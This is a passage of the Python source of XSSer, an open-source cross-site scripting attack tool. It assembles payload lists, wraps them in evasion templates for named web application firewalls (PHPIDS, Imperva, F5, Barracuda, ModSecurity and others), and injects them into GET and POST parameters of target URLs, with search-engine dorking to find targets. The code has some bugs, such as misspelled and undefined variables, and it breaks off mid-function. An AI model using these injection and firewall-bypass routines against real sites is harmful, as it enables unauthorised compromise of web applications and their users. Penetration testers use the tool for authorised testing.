main.py 128 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. # vim: set expandtab tabstop=4 shiftwidth=4:
  4. """
  5. $Id$
  6. This file is part of the xsser project, http://xsser.03c8.net
  7. Copyright (c) 2011/2018 psy <epsylon@riseup.net>
  8. xsser is free software; you can redistribute it and/or modify it under
  9. the terms of the GNU General Public License as published by the Free
  10. Software Foundation version 3 of the License.
  11. xsser is distributed in the hope that it will be useful, but WITHOUT ANY
  12. WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  13. FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
  14. details.
  15. You should have received a copy of the GNU General Public License along
  16. with xsser; if not, write to the Free Software Foundation, Inc., 51
  17. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  18. """
  19. import os, re, sys, datetime, hashlib, time, urllib, cgi, traceback, webbrowser, random
  20. from random import randint
  21. import core.fuzzing
  22. import core.fuzzing.vectors
  23. import core.fuzzing.DCP
  24. import core.fuzzing.DOM
  25. import core.fuzzing.HTTPsr
  26. import core.fuzzing.heuristic
  27. from collections import defaultdict
  28. from itertools import islice, chain
  29. from urlparse import parse_qs, urlparse
  30. from core.curlcontrol import Curl
  31. from core.encdec import EncoderDecoder
  32. from core.options import XSSerOptions
  33. from core.dork import Dorker
  34. from core.crawler import Crawler
  35. from core.imagexss import ImageInjections
  36. from core.flashxss import FlashInjections
  37. from core.post.xml_exporter import xml_reporting
  38. from core.tokenhub import HubThread
  39. from core.reporter import XSSerReporter
  40. from core.threadpool import ThreadPool, NoResultsPending
  41. from core.update import Updater
  42. # set to emit debug messages about errors (0 = off).
  43. DEBUG = 0
  44. class xsser(EncoderDecoder, XSSerReporter):
  45. """
  46. XSSer application class
  47. """
  48. def __init__(self, mothership=None):
  49. self._reporter = None
  50. self._reporters = []
  51. self._landing = False
  52. self._ongoing_requests = 0
  53. self._oldcurl = []
  54. self._gtkdir = None
  55. self._webbrowser = webbrowser
  56. self.crawled_urls = []
  57. self.checked_urls = []
  58. self.successfull_urls = []
  59. self.urlmalformed = False
  60. self.search_engines = [] # available dorking search engines
  61. #self.search_engines.append('duck')
  62. self.search_engines.append('bing')
  63. #self.search_engines.append('google')
  64. self.search_engines.append('yahoo')
  65. #self.search_engines.append('yandex')
  66. self.user_template = None # wizard user template
  67. self.user_template_conntype = "GET" # GET by default
  68. if not mothership:
  69. # no mothership so *this* is the mothership
  70. # start the communications hub and rock on!
  71. self.hub = None
  72. self.pool = ThreadPool(0)
  73. self.mothership = None
  74. self.final_attacks = {}
  75. else:
  76. self.hub = None
  77. self.mothership = mothership
  78. self.mothership.add_reporter(self)
  79. self.pool = ThreadPool(0)
  80. self.final_attacks = self.mothership.final_attacks
  81. #self.pool = None
  82. # initialize the url encoder/decoder
  83. EncoderDecoder.__init__(self)
  84. # your unique real opponent
  85. self.time = datetime.datetime.now()
  86. # this payload comes with vector already..
  87. self.DEFAULT_XSS_PAYLOAD = 'XSS'
  88. # to be or not to be...
  89. self.hash_found = []
  90. self.hash_notfound = []
  91. # other hashes
  92. self.hashed_payload = []
  93. self.url_orig_hash = []
  94. # some counters for checker systems
  95. self.errors_isalive = 0
  96. self.next_isalive = False
  97. self.flag_isalive_num = 0
  98. # some controls about targets
  99. self.urlspoll = []
  100. # some statistics counters for connections
  101. self.success_connection = 0
  102. self.not_connection = 0
  103. self.forwarded_connection = 0
  104. self.other_connection = 0
  105. # some statistics counters for payloads
  106. self.xsr_injection = 0
  107. self.xsa_injection = 0
  108. self.coo_injection = 0
  109. self.manual_injection = 0
  110. self.auto_injection = 0
  111. self.dcp_injection = 0
  112. self.dom_injection = 0
  113. self.httpsr_injection = 0
  114. self.check_positives = 0
  115. # some statistics counters for injections found
  116. self.xsr_found = 0
  117. self.xsa_found = 0
  118. self.coo_found = 0
  119. self.manual_found = 0
  120. self.auto_found = 0
  121. self.dcp_found = 0
  122. self.dom_found = 0
  123. self.httpsr_found = 0
  124. self.false_positives = 0
  125. # some statistics counters for heuristic parameters
  126. self.heuris_backslash_found = 0
  127. self.heuris_une_backslash_found = 0
  128. self.heuris_dec_backslash_found = 0
  129. self.heuris_backslash_notfound = 0
  130. self.heuris_slash_found = 0
  131. self.heuris_une_slash_found = 0
  132. self.heuris_dec_slash_found = 0
  133. self.heuris_slash_notfound = 0
  134. self.heuris_mayor_found = 0
  135. self.heuris_une_mayor_found = 0
  136. self.heuris_dec_mayor_found = 0
  137. self.heuris_mayor_notfound = 0
  138. self.heuris_minor_found = 0
  139. self.heuris_une_minor_found = 0
  140. self.heuris_dec_minor_found = 0
  141. self.heuris_minor_notfound = 0
  142. self.heuris_semicolon_found = 0
  143. self.heuris_une_semicolon_found = 0
  144. self.heuris_dec_semicolon_found = 0
  145. self.heuris_semicolon_notfound = 0
  146. self.heuris_colon_found = 0
  147. self.heuris_une_colon_found = 0
  148. self.heuris_dec_colon_found = 0
  149. self.heuris_colon_notfound = 0
  150. self.heuris_doublecolon_found = 0
  151. self.heuris_une_doublecolon_found = 0
  152. self.heuris_dec_doublecolon_found = 0
  153. self.heuris_doublecolon_notfound = 0
  154. self.heuris_equal_found = 0
  155. self.heuris_une_equal_found = 0
  156. self.heuris_dec_equal_found = 0
  157. self.heuris_equal_notfound = 0
  158. # xsser verbosity (0 - no output, 1 - dots only, 2+ - real verbosity)
  159. self.verbose = 2
  160. self.options = None
  161. def __del__(self):
  162. if not self._landing:
  163. self.land()
  164. def get_gtk_directory(self):
  165. if self._gtkdir:
  166. return self._gtkdir
  167. local_path = os.path.join(os.path.dirname(os.path.dirname(__file__)),
  168. 'gtk')
  169. if os.path.exists(local_path):
  170. self._gtkdir = local_path
  171. return self._gtkdir
  172. elif os.path.exists('/usr/share/xsser/gtk'):
  173. self._gtkdir = '/usr/share/xsser/gtk'
  174. return self._gtkdir
  175. def set_webbrowser(self, browser):
  176. self._webbrowser = browser
  177. def set_reporter(self, reporter):
  178. self._reporter = reporter
  179. def add_reporter(self, reporter):
  180. self._reporters.append(reporter)
  181. def remove_reporter(self, reporter):
  182. if reporter in self._reporters:
  183. self._reporters.remove(reporter)
  184. def generate_hash(self, attack_type='default'):
  185. """
  186. Generate a new hash for a type of attack.
  187. """
  188. return hashlib.md5(str(datetime.datetime.now()) + attack_type).hexdigest()
  189. def generate_numeric_hash(self): # 32 length as md5
  190. """
  191. Generate a new hash for numeric only XSS
  192. """
  193. newhash = ''.join(random.choice('0123456789') for i in range(32))
  194. return newhash
  195. def report(self, msg, level='info'):
  196. """
  197. Report some error from the application.
  198. levels: debug, info, warning, error
  199. """
  200. if self.verbose == 2:
  201. prefix = ""
  202. if level != 'info':
  203. prefix = "["+level+"] "
  204. print msg
  205. elif self.verbose:
  206. if level == 'error':
  207. sys.stdout.write("*")
  208. else:
  209. sys.stdout.write(".")
  210. for reporter in self._reporters:
  211. reporter.post(msg)
  212. if self._reporter:
  213. from twisted.internet import reactor
  214. reactor.callFromThread(self._reporter.post, msg)
  215. def set_options(self, options):
  216. """
  217. Set xsser options
  218. """
  219. self.options = options
  220. self._opt_request()
  221. def _opt_request(self):
  222. """
  223. Pass on some properties to Curl
  224. """
  225. options = self.options
  226. for opt in ['cookie', 'agent', 'referer',\
  227. 'headers', 'atype', 'acred', 'acert',
  228. 'proxy', 'ignoreproxy', 'timeout',
  229. 'delay', 'tcp_nodelay', 'retries',
  230. 'xforw', 'xclient', 'threads',
  231. 'dropcookie', 'followred', 'fli',
  232. 'nohead', 'isalive', 'alt', 'altm',
  233. 'ald'
  234. ]:
  235. if hasattr(options, opt) and getattr(options, opt):
  236. setattr(Curl, opt, getattr(options, opt))
  237. # attack functions
  238. def get_payloads(self):
  239. """
  240. Process payload options and make up the payload list for the attack.
  241. """
  242. options = self.options
  243. # payloading sources
  244. payloads_fuzz = core.fuzzing.vectors.vectors
  245. payloads_dcp = core.fuzzing.DCP.DCPvectors
  246. payloads_dom = core.fuzzing.DOM.DOMvectors
  247. payloads_httpsr = core.fuzzing.HTTPsr.HTTPrs_vectors
  248. manual_payload = [{"payload":options.script, "browser":"[manual_injection]"}]
  249. # sustitute payload for hash to check false positives
  250. self.hashed_payload = self.generate_hash('url')
  251. checker_payload = [{"payload":self.hashed_payload, "browser":"[hashed_precheck_system]"}]
  252. # heuristic parameters
  253. heuristic_params = core.fuzzing.heuristic.heuristic_test
  254. def enable_options_heuristic(payloads):
  255. if options.heuristic:
  256. payloads = heuristic_params + payloads
  257. if options.dom:
  258. payloads = payloads + payloads_dom
  259. return payloads
  260. if options.fuzz:
  261. payloads = payloads_fuzz
  262. if options.dcp:
  263. payloads = payloads + payloads_dcp
  264. if options.script:
  265. payloads = payloads + manual_payload
  266. if options.hash:
  267. payloads = checker_payload + payloads
  268. if options.inducedcode:
  269. payloads = payloads + payloads_httpsr
  270. if options.heuristic:
  271. payloads = heuristic_params + payloads
  272. if options.dom:
  273. payloads = payloads + payloads_dom
  274. elif options.inducedcode:
  275. payloads = payloads + payloads_httpsr
  276. if options.heuristic:
  277. payloads = heuristic_params + payloads
  278. if options.dom:
  279. payloads = payloads + payloads_dom
  280. elif options.dom:
  281. payloads = payloads + payloads_dom
  282. elif options.heuristic:
  283. payloads = heuristic_params + payloads
  284. if options.dom:
  285. payloads = payloads + payloads_dom
  286. elif options.dom:
  287. payloads = payloads + payloads_dom
  288. elif options.hash:
  289. payloads = checker_payload + payloads
  290. if options.inducedcode:
  291. payloads = payloads + payloads_httpsr
  292. if options.heuristic:
  293. payloads = heuristic_params + payloads
  294. if options.dom:
  295. payloads = payloads + payloads_dom
  296. elif options.dom:
  297. payloads = payloads + payloads_dom
  298. elif options.inducedcode:
  299. payloads = payloads + payloads_httpsr
  300. if options.heuristic:
  301. payloads = heuristic_params + payloads
  302. if options.dom:
  303. payloads = payloads + payloads_dom
  304. elif options.dom:
  305. payloads = payloads + payloads_dom
  306. elif options.script:
  307. payloads = payloads + manual_payload
  308. if options.hash:
  309. payloads = checker_payload + payloads
  310. if options.inducedcode:
  311. payloads = payaloads + payloads_httpsr
  312. if options.heuristic:
  313. payloads = heuristic_params + payloads
  314. if options.dom:
  315. payloads = payloads + payloads_dom
  316. elif options.hash:
  317. payloads = checker_payload + payloads
  318. if options.inducedcode:
  319. payloads = payloads + payloads_httpsr
  320. if options.heuristic:
  321. payloads = heuristic_params + payloads
  322. if options.dom:
  323. payloads = payloads + payloads_dom
  324. elif options.dom:
  325. payloads = payloads + payloads_dom
  326. elif options.heuristic:
  327. payloads = heuristic_params + payloads
  328. if options.dom:
  329. payloads = payloads + payloads_dom
  330. elif options.dom:
  331. payloads = payloads + payloads_dom
  332. elif options.inducedcode:
  333. payloads = payloads + payloads_httpsr
  334. if options.hash:
  335. payloads = checker_payload + payloads
  336. if options.heuristic:
  337. payloads = heuristic_params + payloads
  338. if options.dom:
  339. payloads = payloads + payloads_dom
  340. elif options.dom:
  341. payloads = payloads + payloads_dom
  342. elif options.heuristic:
  343. payloads = heuristic_params + payloads
  344. if options.dom:
  345. payloads = payloads + payloads_dom
  346. elif options.dom:
  347. payloads = payloads + payloads_dom
  348. elif options.dcp:
  349. payloads = payloads_dcp
  350. if options.script:
  351. payloads = payloads + manual_payload
  352. if options.hash:
  353. payloads = checker_payload + payloads
  354. if options.inducedcode:
  355. payloads = payloads + payloads_httpsr
  356. if options.heuristic:
  357. payloads = heuristic_params + payloads
  358. if options.dom:
  359. payloads = payloads + payloads_dom
  360. elif options.hash:
  361. payloads = checker_payload + payloads
  362. if options.inducedcode:
  363. payloads = payloads + inducedcode
  364. if options.heuristic:
  365. payloads = heuristic_params + payloads
  366. if options.dom:
  367. payloads = payloads + payloads_dom
  368. elif options.dom:
  369. payloads = payloads + payloads_dom
  370. elif options.inducedcode:
  371. payloads = payloads + payloads_httpsr
  372. if options.heuristic:
  373. payloads = heuristic_params + payloads
  374. if options.dom:
  375. payloads = payloads + payloads_dom
  376. elif options.dom:
  377. payloads = payloads + payloads_dom
  378. elif options.heuristic:
  379. payloads = heuristic_params + payloads
  380. if options.dom:
  381. payloads = payloads + payloads_dom
  382. elif options.dom:
  383. payloads = payloads + payloads_dom
  384. elif options.script:
  385. payloads = manual_payload
  386. if options.hash:
  387. payloads = checker_payload + payloads
  388. if options.inducedcode:
  389. payloads = payloads + payloads_httpsr
  390. if options.heuristic:
  391. payloads = heuristic_params + payloads
  392. if options.dom:
  393. payloads = payloads + payloads_dom
  394. elif options.inducedcode:
  395. payloads = payloads + payloads_httpsr
  396. if options.heuristic:
  397. payloads = heuristic_params + payloads
  398. if options.dom:
  399. payloads = payloads + payloads_dom
  400. elif options.dom:
  401. payloads = payloads + payloads_dom
  402. elif options.heuristic:
  403. payloads = heuristic_params + payloads
  404. if options.dom:
  405. paylaods = payloads + payloads_dom
  406. elif options.dom:
  407. payloads = payloads + payloads_dom
  408. elif options.inducedcode:
  409. payloads = payloads_httpsr
  410. if options.hash:
  411. payloads = checker_payload + payloads
  412. if options.heuristic:
  413. payloads = heuristic_params + payloads
  414. if options.dom:
  415. payloads = payloads + payloads_dom
  416. elif options.heuristic:
  417. payloads = heuristic_params + payloads
  418. if options.dom:
  419. payloads = payloads + payloads_dom
  420. elif options.dom:
  421. payloads = payloads + payloads_dom
  422. elif options.heuristic:
  423. payloads = heuristic_params
  424. if options.hash:
  425. payloads = checker_payload + payloads
  426. if options.dom:
  427. payloads = payloads + payloads_dom
  428. elif options.dom:
  429. payloads = payloads + payloads_dom
  430. elif options.dom:
  431. payloads = payloads_dom
  432. elif not options.fuzz and not options.dcp and not options.script and not options.hash and not options.inducedcode and not options.heuristic and not options.dom:
  433. payloads = [{"payload":'">PAYLOAD',
  434. "browser":"[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"
  435. }]
  436. else:
  437. payloads = checker_payload
  438. return payloads
  439. def process_ipfuzzing(self, text):
  440. """
  441. Mask ips in given text to DWORD
  442. """
  443. ips = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", text)
  444. for ip in ips:
  445. text = text.replace(ip, str(self._ipDwordEncode(ip)))
  446. return text
  447. def process_ipfuzzing_octal(self, text):
  448. """
  449. Mask ips in given text to Octal
  450. """
  451. ips = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", text)
  452. for ip in ips:
  453. text = text.replace(ip, str(self._ipOctalEncode(ip)))
  454. return text
  455. def process_payloads_ipfuzzing(self, payloads):
  456. """
  457. Mask ips for all given payloads using DWORD
  458. """
  459. # ip fuzzing (DWORD)
  460. if self.options.Dwo:
  461. resulting_payloads = []
  462. for payload in payloads:
  463. payload["payload"] = self.process_ipfuzzing(payload["payload"])
  464. resulting_payloads.append(payload)
  465. return resulting_payloads
  466. return payloads
  467. def process_payloads_ipfuzzing_octal(self, payloads):
  468. """
  469. Mask ips for all given payloads using OCTAL
  470. """
  471. # ip fuzzing (OCTAL)
  472. if self.options.Doo:
  473. resulting_payloads = []
  474. for payload in payloads:
  475. payload["payload"] = self.process_ipfuzzing_octal(payload["payload"])
  476. resulting_payloads.append(payload)
  477. return resulting_payloads
  478. return payloads
  479. def get_query_string(self):
  480. """
  481. Get the supplied query string.
  482. """
  483. if self.options.postdata:
  484. return self.options.postdata
  485. elif self.options.getdata:
  486. return self.options.getdata
  487. return ""
  488. def attack_url(self, url, payloads, query_string):
  489. """
  490. Attack the given url checking or not if is correct.
  491. """
  492. if self.options.nohead:
  493. for payload in payloads:
  494. self.attack_url_payload(url, payload, query_string)
  495. else:
  496. hc = Curl()
  497. try:
  498. urls = hc.do_head_check([url])
  499. except:
  500. print "Target url: (" + url + ") is malformed" + " [DISCARDED]" + "\n"
  501. return
  502. if str(hc.info()["http-code"]) in ["200", "302", "301", "401"]:
  503. if str(hc.info()["http-code"]) in ["301"]:
  504. url = str(hc.info()["Location"])
  505. payload = ""
  506. query_string = ""
  507. elif str(hc.info()["http-code"]) in ["302"]:
  508. url = url + "/"
  509. payload = ""
  510. query_string = ""
  511. self.success_connection = self.success_connection + 1
  512. print "\n[Info] HEAD alive check for the target: (" + url + ") is OK " + "(" + hc.info()["http-code"] + ") [AIMED]\n"
  513. for payload in payloads:
  514. self.attack_url_payload(url, payload, query_string)
  515. else:
  516. if str(hc.info()["http-code"]) in ["405"]:
  517. print "\n[Info] HEAD alive check for the target: (" + url + ") is NOT ALLOWED (" + hc.info()["http-code"] + ") [PASSING]" + "\n"
  518. self.success_connection = self.success_connection + 1
  519. for payload in payloads:
  520. self.attack_url_payload(url, payload, query_string)
  521. else:
  522. self.not_connection = self.not_connection + 1
  523. print "\n[Info] HEAD alive check for the target: (" + url + ") is FAILED (" + hc.info()["http-code"] + ") [DISCARDED]" + "\n"
  524. def get_url_payload(self, url, payload, query_string, attack_payload=None):
  525. """
  526. Attack the given url with the given payload
  527. """
  528. options = self.options
  529. self._ongoing_attacks = {}
  530. # get payload/vector
  531. payload_string = payload['payload'].strip()
  532. ### Anti-antiXSS exploits #### 18/02/2016 ###
  533. # PHPIDS (>0.6.5) [ALL] -> 32*payload + payload
  534. if options.phpids065:
  535. payload_string = 32*payload_string + payload_string
  536. # PHPIDS (>0.7) [ALL] -> payload: 'svg-onload'
  537. if options.phpids070:
  538. payload_string = '<svg+onload=+"'+payload_string+'">'
  539. # Imperva Incapsula [ALL] -> payload: 'img onerror' + payload[DoubleURL+HTML+Unicode]
  540. if options.imperva:
  541. payload_string = '<img src=x onerror="'+payload_string+'">'
  542. # WebKnight (>4.1) [Chrome] payload: 'details ontoggle'
  543. if options.webknight:
  544. payload_string = '<details ontoggle='+payload_string+'>'
  545. # F5BigIP [Chrome+FF+Opera] payload: 'onwheel'
  546. if options.f5bigip:
  547. payload_string = '<body style="height:1000px" onwheel="'+payload_string+'">'
  548. # Barracuda WAF [ALL] payload: 'onwheel'
  549. if options.barracuda:
  550. payload_string = '<body style="height:1000px" onwheel="'+payload_string+'">'
  551. # Apache / modsec [ALL] payload: special
  552. if options.modsec:
  553. payload_string = '<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover='+payload_string+'>'
  554. # QuickDefense [Chrome] payload: 'ontoggle' + payload[Unicode]
  555. if options.quickdefense:
  556. payload_string = '<details ontoggle="'+payload_string+'">'
  557. # substitute the attack hash
  558. url_orig_hash = self.generate_hash('url')
  559. if 'XSS' in payload_string or 'PAYLOAD' in payload_string or 'VECTOR' in payload_string:
  560. payload_string = payload_string.replace('PAYLOAD', self.DEFAULT_XSS_PAYLOAD)
  561. payload_string = payload_string.replace('VECTOR', self.DEFAULT_XSS_PAYLOAD)
  562. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  563. elif "1" in payload_string:
  564. url_orig_hash = self.generate_numeric_hash()
  565. hashed_payload = payload_string.replace('1', url_orig_hash) # adding numeric XSS (ex: alert('1'))
  566. else:
  567. print "\n[Error] You aren't using a valid keyword: 'XSS', '1', 'PAYLOAD', 'VECTOR'... for your --payload. Aborting...\n"
  568. print("="*75 + "\n")
  569. sys.exit(2)
  570. if options.imperva:
  571. hashed_payload = urllib.urlencode({'':hashed_payload})
  572. hashed_payload = urllib.urlencode({'':hashed_payload}) #DoubleURL encoding
  573. hashed_payload = cgi.escape(hashed_payload) # + HTML encoding
  574. hashed_payload = unicode(hashed_payload) # + Unicode
  575. if options.quickdefense:
  576. hashed_payload = unicode(hashed_payload) # + Unicode
  577. if attack_payload:
  578. # url for real attack
  579. hashed_vector_url = self.encoding_permutations(attack_payload)
  580. else:
  581. # test
  582. hashed_vector_url = self.encoding_permutations(hashed_payload)
  583. self._ongoing_attacks['url'] = url_orig_hash
  584. if not options.getdata: # using GET as a single input (-u)
  585. target_url = url
  586. else:
  587. if not options.postdata: # using GET provided by parameter (-g)
  588. if not url.endswith("/") and not options.getdata.startswith("/"):
  589. url = url + "/"
  590. target_url = url + options.getdata
  591. p_uri = urlparse(target_url)
  592. uri = p_uri.netloc
  593. path = p_uri.path
  594. if not uri.endswith('/') and not path.startswith('/'):
  595. uri = uri + "/"
  596. target_params = parse_qs(urlparse(target_url).query, keep_blank_values=True)
  597. if not target_params: # just an url pased (ex: -u 'http://example.com')
  598. payload_url = query_string.strip() + hashed_vector_url
  599. dest_url = p_uri.scheme + "://" + uri + path + payload_url
  600. else:
  601. for key, value in target_params.iteritems(): # parse params searching for keywords
  602. for v in value:
  603. if v == 'XSS': # input keywords to inject payload
  604. target_params[key] = hashed_vector_url
  605. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  606. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  607. hashed_vector_url = self.encoding_permutations(hashed_payload)
  608. else:
  609. target_params[key] = v
  610. payload_url = query_string.strip() + hashed_vector_url
  611. target_url_params = urllib.urlencode(target_params)
  612. dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  613. if options.postdata: # using POST provided by parameter (-p)
  614. target_params = parse_qs(query_string, keep_blank_values=True)
  615. for key, value in target_params.iteritems(): # parse params searching for keywords
  616. for v in value:
  617. if v == 'XSS': # input keywords to inject payload
  618. target_params[key] = hashed_vector_url
  619. url_orig_hash = self.generate_hash('url') # new hash for each parameter with an injection
  620. hashed_payload = payload_string.replace('XSS', url_orig_hash)
  621. hashed_vector_url = self.encoding_permutations(hashed_payload)
  622. else:
  623. target_params[key] = v
  624. target_url_params = urllib.urlencode(target_params)
  625. dest_url = target_url_params
  626. return dest_url, url_orig_hash
  627. def attack_url_payload(self, url, payload, query_string):
  628. if not self.pool:
  629. pool = self.mothership.pool
  630. else:
  631. pool = self.pool
  632. c= Curl()
  633. def _cb(request, result):
  634. self.finish_attack_url_payload(c, request, result, payload,
  635. query_string, url, newhash)
  636. _error_cb = self.error_attack_url_payload
  637. def _error_cb(request, error):
  638. self.error_attack_url_payload(c, url, request, error)
  639. if self.options.getdata or not self.options.postdata:
  640. dest_url, newhash = self.get_url_payload(url, payload, query_string)
  641. if (self.options.xsa or self.options.xsr or self.options.coo):
  642. agent, referer, cookie = self._prepare_extra_attacks(payload)
  643. c.agent = agent
  644. c.referer = referer
  645. c.cookie = cookie
  646. pool.addRequest(c.get, [[dest_url]], _cb, _error_cb)
  647. self._ongoing_requests += 1
  648. if self.options.postdata:
  649. dest_url, newhash = self.get_url_payload("", payload, query_string)
  650. dest_url = dest_url.strip().replace("/", "", 1)
  651. if (self.options.xsa or self.options.xsr or self.options.coo):
  652. agent, referer, cookie = self._prepare_extra_attacks(payload)
  653. c.agent = agent
  654. c.referer = referer
  655. c.cookie = cookie
  656. pool.addRequest(c.post, [[url, dest_url]], _cb, _error_cb)
  657. self._ongoing_requests += 1
  658. def error_attack_url_payload(self, c, url, request, error):
  659. self._ongoing_requests -= 1
  660. for reporter in self._reporters:
  661. reporter.mosquito_crashed(url, str(error[0]))
  662. dest_url = request.args[0]
  663. self.report("Failed attempt (URL Malformed!?): " + url + "\n")
  664. self.urlmalformed = True
  665. if self.urlmalformed == True and self.urlspoll[0] == url:
  666. self.land()
  667. self.report(str(error[0]))
  668. if DEBUG:
  669. traceback.print_tb(error[2])
  670. c.close()
  671. del c
  672. return
  673. def finish_attack_url_payload(self, c, request, result, payload,
  674. query_string, url, orig_hash):
  675. self.report('='*75)
  676. self.report("Target: " + url + " --> " + str(self.time))
  677. self.report('='*75 + "\n")
